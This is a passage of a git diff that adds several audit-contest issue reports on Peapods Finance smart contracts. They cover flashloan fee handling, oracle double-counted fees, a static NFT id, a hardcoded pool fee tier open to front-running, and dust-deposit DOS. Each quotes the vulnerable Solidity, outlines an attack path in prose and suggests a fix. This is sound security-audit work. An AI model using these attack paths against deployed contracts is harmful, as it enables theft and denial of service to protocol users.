++ _in, _out, _fee, _amountIn, _amountOutMin, address(this)//_amountOutMin is either user provided or function calculated ✅
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
\ No newline at end of file
diff --git a/401.md b/401.md
new file mode 100644
index 0000000..031a535
--- /dev/null
+++ b/401.md
@@ -0,0 +1,171 @@
+Beautiful Chartreuse Carp
+
+High
+
+# LeverageManager::addLeverage() will revert if flashloan fee is set
+
+### Summary
+
+When adding leverage using `LeverageManager::addLeverage()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L81C5-L102C6), flashloan is used. If flashloan source for a particular borrow token (i. e. DAI) is set to `BalanceFlashSource`, and flashloan fee is set by the Balancer protocol, then `LeverageManager::addLeverage()` function will revert because of wrong handling of flashloan fee in `BalancerFlashSource::receiveFlashLoan()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L47C5-L57C6).
+
+### Root Cause
+
+In `LeverageManager::addLeverage()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L81), `_addLeveragePreCallback()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L92) is called
+
+```solidity
+ _addLeveragePreCallback(
+ _msgSender(),
+ _positionId,
+ _pod,
+ IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore,
+ _pairedLpDesired,
+ _userProvidedDebtAmt,
+ _hasSelfLendingPairPod,
+ _config
+ );
+```
+
+which then calls `FlashLoanSource::flash()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L302)
+
+```solidity
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(
+ _getBorrowTknForPod(_positionId),
+ _pairedLpDesired - _userProvidedDebtAmt,
+ address(this),
+ _getFlashDataAddLeverage(_positionId, _sender, _pTknAmt, _pairedLpDesired, _config)
+ );
+```
+
+In `BalancerFlashSource::flash()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L33C5-L45C6), the FlashData struct is constructed, and passed as an argument to `BalancerVault::flashLoan()` function.
+
+```solidity
+ function flash(address _token, uint256 _amount, address _recipient, bytes calldata _data)
+ external
+ override
+ workflow(true)
+ onlyLeverageManager
+ {
+ IERC20[] memory _tokens = new IERC20[](1);
+ uint256[] memory _amounts = new uint256[](1);
+ _tokens[0] = IERC20(_token);
+ _amounts[0] = _amount;
+@> FlashData memory _fData = FlashData(_recipient, _token, _amount, _data, 0);
+@> IBalancerVault(source).flashLoan(this, _tokens, _amounts, abi.encode(_fData));
+ }
+```
+
+In Balancer protocol, `FlashLoans::flashLoan()` [function](https://github.com/balancer/balancer-v2-monorepo/blob/36d282374b457dddea828be7884ee0d185db06ba/pkg/vault/contracts/FlashLoans.sol#L38), `feeAmounts` array in constructed with respective fee amounts of each token and passed as an argument to the `receiveFlashLoan()` callback function.
+
+```solidity
+@> uint256[] memory feeAmounts = new uint256[](tokens.length);
+ uint256[] memory preLoanBalances = new uint256[](tokens.length);
+
+ // Used to ensure `tokens` is sorted in ascending order, which ensures token uniqueness.
+ IERC20 previousToken = IERC20(0);
+
+ for (uint256 i = 0; i < tokens.length; ++i) {
+ IERC20 token = tokens[i];
+ uint256 amount = amounts[i];
+
+ _require(token > previousToken, token == IERC20(0) ? Errors.ZERO_TOKEN : Errors.UNSORTED_TOKENS);
+ previousToken = token;
+
+ preLoanBalances[i] = token.balanceOf(address(this));
+@> feeAmounts[i] = _calculateFlashLoanFeeAmount(amount);
+
+ _require(preLoanBalances[i] >= amount, Errors.INSUFFICIENT_FLASH_LOAN_BALANCE);
+ token.safeTransfer(address(recipient), amount);
+ }
+
+@> recipient.receiveFlashLoan(tokens, amounts, feeAmounts, userData);
+```
+
+In Peapods protocol, in `BalancerFlashSource::receiveFlashLoan()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L47C5-L57C6), the FlashData struct is decoded and cached locally in `_fData` variable, the `feeAmount` received from the Balancer call, is updated in `_fData.fee`. Now here is the actual `BUG`, when calling `LeverageManager::callback()` function, the `_userData` variable is passed as argument instead of the locally cached and updated `_fData` variable.
+
+```solidity
+ function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory _feeAmounts, bytes memory _userData)
+ external
+ override
+ workflow(false)
+ {
+ require(_msgSender() == source, "CBV");
+@> FlashData memory _fData = abi.decode(_userData, (FlashData));
+@> _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+@> IFlashLoanRecipient(_fData.recipient).callback(_userData); <<@ BUG
+ }
+```
+
+Now, during the execution flow, in `LeverageManager::_addLeveragePostCallback()` [function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L310C5-L344C6), when `_flashPaybackAmt` is calculated, flashloan fees is not added because `_d.fee` is `0` at this point.
+
+`uint256 _flashPaybackAmt = _d.amount + _d.fee;`
+
+As a result, in Balancer protocol, in `FlashLoans::flashLoan()` [function](https://github.com/balancer/balancer-v2-monorepo/blob/36d282374b457dddea828be7884ee0d185db06ba/pkg/vault/contracts/FlashLoans.sol#L38), the transaction will revert because of [this](https://github.com/balancer/balancer-v2-monorepo/blob/36d282374b457dddea828be7884ee0d185db06ba/pkg/vault/contracts/FlashLoans.sol#L79) line.
+
+` _require(receivedFeeAmount >= feeAmounts[i], Errors.INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT);`
+
+### Internal Pre-conditions
+
+1. For the borrow token, flash source is set as `BalancerFlashSource`
+
+### External Pre-conditions
+
+1. Flashloan fee is set by the Balancer protocol
+
+### Attack Path
+
+1. User calls `LeverageManager::addLeverage()` function
+2. Flashloan is taken from the Balancer Vault
+3. Flashloan fee is set by the Balancer protocol
+4. While calculating total amount to be paid back to Balancer (princpial + fee), fee is not accounted for properly
+5. In Balancer protocol, the transaction reverts throwing `INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT`
+6. As a result, `LeverageManager::addLeverage()` function reverts
+
+### Impact
+
+The core functionality of adding leverage in the Peapods procotol is broken.
+
+This issue is being submitted as `High` because the impact is high and there are not much constraints which makes the likelihood high too.
+
+Balancer Protocol's governance can set flashloan fee at any time, maybe tomorrow, who knows. [balancer docs](https://balancer.gitbook.io/balancer-v2/concepts/fees#flash-loan-fees)
+
+> Flash Loan fees are a type of Protocol Fee on Balancer. The fees collected as interest on flash loans go to the DAO Treasury. At deployment, flash loan fees were set to zero, and as of this writing they have not been activated by governance.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In BalancerFlashSource, `receiveFlashLoan()` function should be modified as below
+
+```diff
+ function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory _feeAmounts, bytes memory _userData)
+ external
+ override
+ workflow(false)
+ {
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+ _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+-- IFlashLoanRecipient(_fData.recipient).callback(_userData);
+++ IFlashLoanRecipient(_fData.recipient).callback(_fData);
+ }
+```
+
+just like already done in `UniswapV3FlashSource::uniswapV3FlashCallback()` function
+
+```solidity
+ function uniswapV3FlashCallback(uint256 _fee0, uint256 _fee1, bytes calldata _data)
+ external
+ override
+ workflow(false)
+ {
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_data, (FlashData));
+ _fData.fee = _fData.token == IUniswapV3Pool(source).token0() ? _fee0 : _fee1;
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+@> IFlashLoanRecipient(_fData.recipient).callback(abi.encode(_fData));
+ }
+```
\ No newline at end of file
diff --git a/402.md b/402.md
new file mode 100644
index 0000000..a73b14d
--- /dev/null
+++ b/402.md
@@ -0,0 +1,165 @@
+Late Saffron Jaguar
+
+High
+
+# Borrowers will be unfairly liquidate due to the spTKNMinimalOracle returning incorrect prices.
+
+### Summary
+
+The spTKNMinimalOracle uses a couple of oracles to determine the price of the staked and podded version of a token. It has a function to account for the collateral-backing-ratio and another function to account for unwrap fees when fetching the price. In [_accountForCBRInPrice()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L243C9-L243C68), it uses [convertToAssets()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L128), which deducts the unwrap fees before returning the asset amount. This issue gets bigger with [_accountForUnwrapFeeInPrice()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L252), which fetch the unwrap fee percentage from the pod, calculate and deduct it from the input amount. Both of these functions are used in [_checkAndHandleBaseTokenPodConfig()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L213) and [_calculateBasePerPTkn()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170). And those functions are used in [_calculateSpTknPerBase()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L145), which is used to fetch the price in [getPrice()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L113). This will make the spTKN worth less than they actually are, which will be used in determining the health factor during liquidations in FraxLend, causing users to be wrongly liquidated.
+
+### Root Cause
+
+In _accountForCBRInPrice(), convertToAssets is called,
+
+```solidity
+ function _accountForCBRInPrice(address _pod, address _underlying, uint256 _amtUnderlying)
+ internal
+ view
+ returns (uint256)
+ {
+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+ if (_underlying == address(0)) {
+ IDecentralizedIndex.IndexAssetInfo[] memory _assets = IDecentralizedIndex(_pod).getAllAssets();
+ _underlying = _assets[0].token;
+ }
+ uint256 _pTknAmt =
+ (_amtUnderlying * 10 ** IERC20Metadata(_pod).decimals()) / 10 ** IERC20Metadata(_underlying).decimals();
+@> return IDecentralizedIndex(_pod).convertToAssets(_pTknAmt);
+ }
+```
+
+This function already accounts for the unwrap fees. In WeightedIndex.sol::convertToAssets(),
+
+```solidity
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+@> _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
+
+The unwrap fee percentage is calculated and deducted again in _accountForUnwrapFeeInPrice(),
+
+```solidity
+ function _accountForUnwrapFeeInPrice(address _pod, uint256 _currentPrice)
+ internal
+ view
+ returns (uint256 _newPrice)
+ {
+ uint16 _unwrapFee = IDecentralizedIndex(_pod).DEBOND_FEE();
+ _newPrice = _currentPrice - (_currentPrice * _unwrapFee) / 10000;
+ }
+```
+Both of the functions are used when fetching the base per pTKN price in _calculateBasePerPTkn()
+
+```solidity
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+used to calculate the spTKN price in _calculateSpTknPerBase()
+
+```solidity
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k) / _kDec) * 10 ** (18 / 2);
+ uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+ require(_basePerSpTkn18 > 0, "V2R");
+ _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+ //issue is even bigger when the Base token is also a podded token
+ if (BASE_IS_POD) {
+ _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+ }
+```
+used to fetch and calculate price in getPrices()
+
+```solidity
+ function getPrices()
+ public
+ view
+ virtual
+ override
+ returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh)
+ {
+ uint256 _priceSpTKNBase = _calculateSpTknPerBase(0);
+ ....
+
+ uint256 _clPrice18 = _chainlinkBasePerPaired18();
+ uint256 _clPriceBaseSpTKN = _calculateSpTknPerBase(_clPrice18);
+```
+
+which is used to calculate the exchange rate used in liquidations.
+
+```solidity
+ function _updateExchangeRate() internal returns (bool _isBorrowAllowed, uint256 _lowExchangeRate, uint256 _highExchangeRate) {
+ // Pull from storage to save gas and set default return values
+ ExchangeRateInfo memory _exchangeRateInfo = exchangeRateInfo;
+
+ // Short circuit if already updated this block
+ if (_exchangeRateInfo.lastTimestamp != block.timestamp) {
+ // Get the latest exchange rate from the dual oracle
+ bool _oneOracleBad;
+ (_oneOracleBad, _lowExchangeRate, _highExchangeRate) = IDualOracle(_exchangeRateInfo.oracle).getPrices();
+.....
+```
+
+### Internal Pre-conditions
+
+Unwrap fee is non-zero and Exchange rate gets updated in FraxLend.
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+None. Logic flow error.
+
+### Impact
+
+This will make the collateral value of the borrowers worth less, since exchange rate is lower than the real exchange rate in fraxLend, causing liquidations even when their completely healthy.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make the convertToAssets function not account for unwrap fees.
+
+```diff
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+-- _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
\ No newline at end of file
diff --git a/403.md b/403.md
new file mode 100644
index 0000000..4bc5c27
--- /dev/null
+++ b/403.md
@@ -0,0 +1,44 @@
+Genuine Carrot Goat
+
+Medium
+
+# When minting, we provide the number `1` as a static id, which will cause to mint and have only one leverage position in the whole protocol lifecycle
+
+### Summary
+
+When we want to create a leveraged position, we mint an erc721 standard nft providing the number of 1 as a static id, instead of the `tokenId` itself.
+
+This is disastrous and will cause only one NFT to be minted for the whole app, thus destroying the integrity and purpose of it.
+
+The function that I am talking about is [LeveragePositions::mint()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeveragePositions.sol#L14-L18) and this part of it -> `_mint(_receiver, 1)`
+
+### Root Cause
+
+The root cause is that in `_mint(_receiver, 1);` we provide the second parameter as the static number of `1` instead of the `tokenId`.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Alice wants to create the first leveraged position and does that successfully via `initializePosition()` or `_addLeverageCallback()`
+2. Bob wants to create the second leveraged position, but the tx will revert because there can't be two nfts with the same id of one, thus rendering the application useless
+
+### Impact
+
+The impact is that only one leverage position can exist thorough the whole protocol's lifecycle, which is surely not intended.
+
+Broken functionality.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Replace the second param with the `tokenId`, which is a numerical variable that's incrementing on every `mint()`, thus ensuring that every single nft will have a unique `tokenId`
\ No newline at end of file
diff --git a/404.md b/404.md
new file mode 100644
index 0000000..06b9723
--- /dev/null
+++ b/404.md
@@ -0,0 +1,115 @@
+Boxy Charcoal Perch
+
+High
+
+# Hardcoded V3 pool fee tier in `Zapper::_swapV3Single` can be exploited or lead to DOS under certain conditions
+
+### Summary
+
+`Zapper::_swapV3Single` uses hardcoded fee value to get pool , however when `_amountOutMin` is not provided the pool is used to get the token prices and calculate slippage amount, if the pool does not exist under this hardcoded fee tier then the transaction fails as price cannot retrieved
+
+
+### Root Cause
+
+In `Zapper::_swapV3Single`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L154-L180
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) { //<@
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+ _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+
+we see that `DEX_ADAPTER.getV3Pool` is called with hardcoded fee of 10000, this function returns the calculated pool address given the token addresses and fee tier and does not check if the pool exists or not. It's important to not that the try-catch is for the different types of Dex adapters and not for retrying if pool does not exist.
+
+When no slippage amount is provided (`_amountOutMin == 0`) , we see that the function attempts to retrieve the token price from the pool to calculate the slippage amount. Since the pool doesnot exist in this fee tier the call reverts causing the transaction to fail.
+
+At worst case a malicious observer can front-run the transaction to deploy the pool at the 10000 fee tier and initialize the pool price to any value (probably 0 or close) to make the slippage calculated amount as low as possible, and sandwich it to cause maximum slippage on the actual pool since the swap is still done on the actual pool with the correct fee tier as seen here
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L176-L178
+
+
+### Internal Pre-conditions
+
+User calls `IndexUtils::addLpAndStake` with `_amountPairedLpTokenMin` = 0 when `providedPairedToken != pairedToken` of the pod indicating that a **zap** is required
+
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+The call path to `_swapV3Single` is: `IndexUtils::addLpAndStake` -> `Zapper::_zap` (when providedPairedToken != pairedToken of the pod) -> `Zapper::_swapV3Single`.
+When `_amountPairedLpTokenMin == 0` indicating that the user did not provide a min slippage.
+
+1. The transaction fails if the pool does not exist for the 10000 fee tier as price cannot be retrieved from the pool
+
+2. A malicious user front-runs to deploy the pool at the 10000 fee tier and initialize the pool price to any value (probably 0 or close) to make the slippage calculated amount as low as possible, whlist still sandwiching the transaction to cause maximum slippage when the swap is done on the actual pool. Leading to a loss of funds
+
+
+### Impact
+
+High - DoS or loss of funds for the user
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+- try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
++ try DEX_ADAPTER.getV3Pool(_in, _out, _fee) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));//Info: This is for Aerodrome dex Adapter and tickSpacing is ignored and defaults to 200 in `swapV3Single` anyways
+ }
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+ _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
\ No newline at end of file
diff --git a/405.md b/405.md
new file mode 100644
index 0000000..53634ed
--- /dev/null
+++ b/405.md
@@ -0,0 +1,105 @@
+Festive Peanut Vulture
+
+Medium
+
+# DOS Possible Due to no Minimum deposit Checks
+
+### Summary
+
+The lack of minimum deposit amount checks in the multiple contract deposit functions can be abused to create a DOS condition for the protocol as attackers can continuously submit dust deposits that consume resources and increase gas costs for legitimate users.
+
+### Root Cause
+
+In three key deposit functions, there is a lack of minimum deposit amount validation, allowing for dust deposits:
+
+1. FraxlendPairCore.sol:624 - https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L624-L624
+```solidity
+function deposit(uint256 _amount, address _receiver) external nonReentrant returns (uint256 _sharesReceived) {
+ if (_receiver == address(0)) revert InvalidReceiver();
+ // No minimum amount check before proceeding
+ _addInterest();
+ VaultAccount memory _totalAsset = totalAsset;
+ if (depositLimit < _totalAsset.totalAmount(address(0)) + _amount) revert ExceedsDepositLimit();
+ _sharesReceived = _totalAsset.toShares(_amount, false);
+ _deposit(_totalAsset, _amount.toUint128(), _sharesReceived.toUint128(), _receiver, true);
+}
+```
+
+2. LendingAssetVault.sol:106 - https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L106-L106
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ // No minimum amount check before proceeding
+ _updateInterestAndMdInAllVaults(address(0));
+ _shares = convertToShares(_assets);
+ _deposit(_assets, _shares, _receiver);
+}
+```
+
+1. AutoCompoundingPodLp.sol:124 - https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L124-L124
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ // No minimum amount check before proceeding
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+}
+```
+
+In each implementation, deposits of any non-zero amount are accepted. While there are checks for zero amounts in the internal `_deposit` functions, there is no meaningful minimum threshold that would prevent dust deposits from consuming unnecessary computational resources.
+
+
+### Internal Pre-conditions
+
+1. Attacker needs to have a small amount of the required deposit tokens
+2. Attacker needs to approve the vault contracts to spend their tokens
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Attacker acquires minimal amounts of required deposit tokens
+2. Attacker approves vault contracts to spend tokens
+3. Attacker repeatedly calls deposit() with dust amounts (e.g. 1 wei)
+4. Each dust deposit triggers:
+ - Full interest calculations
+ - Reward processing
+ - State updates
+ - Event emissions
+ - Share calculations
+5. Protocol becomes congested with unnecessary computations and storage updates
+
+### Impact
+
+The protocol suffers from increased operational costs and reduced efficiency. Legitimate users experience higher gas costs for their transactions due to bloated state and excess computations.
+
+Each dust deposit forces the protocol to:
+ - Execute full interest calculations via `_addInterest()`
+ - Process rewards through `_processRewardsToPodLp()`
+ - Perform share calculations and state updates
+ - Emit deposit events
+ - Update token balances and accounting
+
+ The cumulative effect of many dust deposits results in:
+ - Bloated contract storage from unnecessary state updates
+ - Increased gas costs for legitimate users due to larger state reads/writes
+ - Higher resource drain for interest and reward calculations
+ - Event log spam affecting protocol monitoring and indexing
+ - Fragmented share calculations potentially leading to precision inefficiencies
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement minimum deposit thresholds in all deposit functions:
+```solidity
+uint256 public constant MIN_DEPOSIT = 1e6; // Adjustable based on token decimals
+
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ require(_assets >= MIN_DEPOSIT, "Deposit too small");
+ // Rest of function...
+}
+```
\ No newline at end of file
diff --git a/406.md b/406.md
new file mode 100644
index 0000000..b317831
--- /dev/null
+++ b/406.md
@@ -0,0 +1,113 @@
+Brilliant Fiery Sheep
+
+High
+
+# When removing leverage, not all rewards from unstaking are sent to the owner of the position
+
+### Summary
+
+When leverage is being removed, if there are multiple token rewards during the unstaking process, these rewards are sent to the `IndexUtils` contract and left there instead of being forwarded to the owner of the position. The owner of the position therefore loses these rewards.
+
+### Root Cause
+
+When `LeverageManager._removeLeveragePostCallback` is called, unstaking is done as part of the process:
+
+```solidity
+ (uint256 _podAmtReceived, uint256 _pairedAmtReceived) = _unstakeAndRemoveLP(
+ _props.positionId, _posProps.pod, _collateralAssetRemoveAmt, _podAmtMin, _pairedAssetAmtMin
+ );
+```
+This calls `indexUtils.unstakeAndRemoveLP`:
+
+```solidity
+ indexUtils.unstakeAndRemoveLP(
+ IDecentralizedIndex(_pod), _spTKNAmtReceived, _podAmtMin, _pairedAssetAmtMin, block.timestamp
+ );
+```
+
+ `indexUtils.unstakeAndRemoveLP` will then unstake the tokens from the staking pool:
+
+```solidity
+ function _unstakeAndRemoveLP(
+ IDecentralizedIndex _indexFund,
+ address _stakingPool,
+ uint256 _unstakeAmount,
+ uint256 _minLPTokens,
+ uint256 _minPairedLpTokens,
+ uint256 _deadline
+ ) internal returns (uint256 _fundTokensBefore) {
+ address _pairedLpToken = _indexFund.PAIRED_LP_TOKEN();
+ address _v2Pool = DEX_ADAPTER.getV2Pool(address(_indexFund), _pairedLpToken);
+ uint256 _v2TokensBefore = IERC20(_v2Pool).balanceOf(address(this));
+ IStakingPoolToken(_stakingPool).unstake(_unstakeAmount);
+
+ _fundTokensBefore = _indexFund.balanceOf(address(this));
+ IERC20(_v2Pool).safeIncreaseAllowance(
+ address(_indexFund), IERC20(_v2Pool).balanceOf(address(this)) - _v2TokensBefore
+ );
+ _indexFund.removeLiquidityV2(
+ IERC20(_v2Pool).balanceOf(address(this)) - _v2TokensBefore, _minLPTokens, _minPairedLpTokens, _deadline
+ );
+ }
+```
+
+This eventually leads to the distribution of rewards in `TokenRewards._distributeReward`:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L236-L256
+
+```solidity
+ function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+ }
+```
+
+These rewards will be sent to the `IndexUtils` contract as that's what initiates the unstaking.
+
+The `IndexUtils` contract will forward the `_pairedLpToken` token to the `LeverageManager` but all other reward tokens are not forwarded meaning that they are stuck in the `IndexUtils` contract.
+
+### Internal Pre-conditions
+
+1. There are multiple rewards tokens in the staking pool
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. User removes leverage.
+2. Tokens are unstaked from the staking pool and sent to the `IndexUtils` contract.
+3. `IndexUtils` contract doesn't forward them for distribution to the user.
+
+### Impact
+
+The user loses reward tokens when removing leverage.
+Reward tokens are stuck in the `IndexUtils` contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The `IndexUtils` contract should forward all the reward tokens to the `LeverageManager` for distribution to the owner of the position.
\ No newline at end of file
diff --git a/407.md b/407.md
new file mode 100644
index 0000000..70eaa54
--- /dev/null
+++ b/407.md
@@ -0,0 +1,41 @@
+Genuine Carrot Goat
+
+High
+
+# `depositFromPairedLpToken()` creates a call to uni v3 pool with the static 1% fee, but on arbitrum the supported pool is currently with 0.3% as per Peapods website
+
+### Summary
+
+`depositFromPairedLpToken()` is used for swapping the paired lp to the rewards token, but the issue is the following.
+
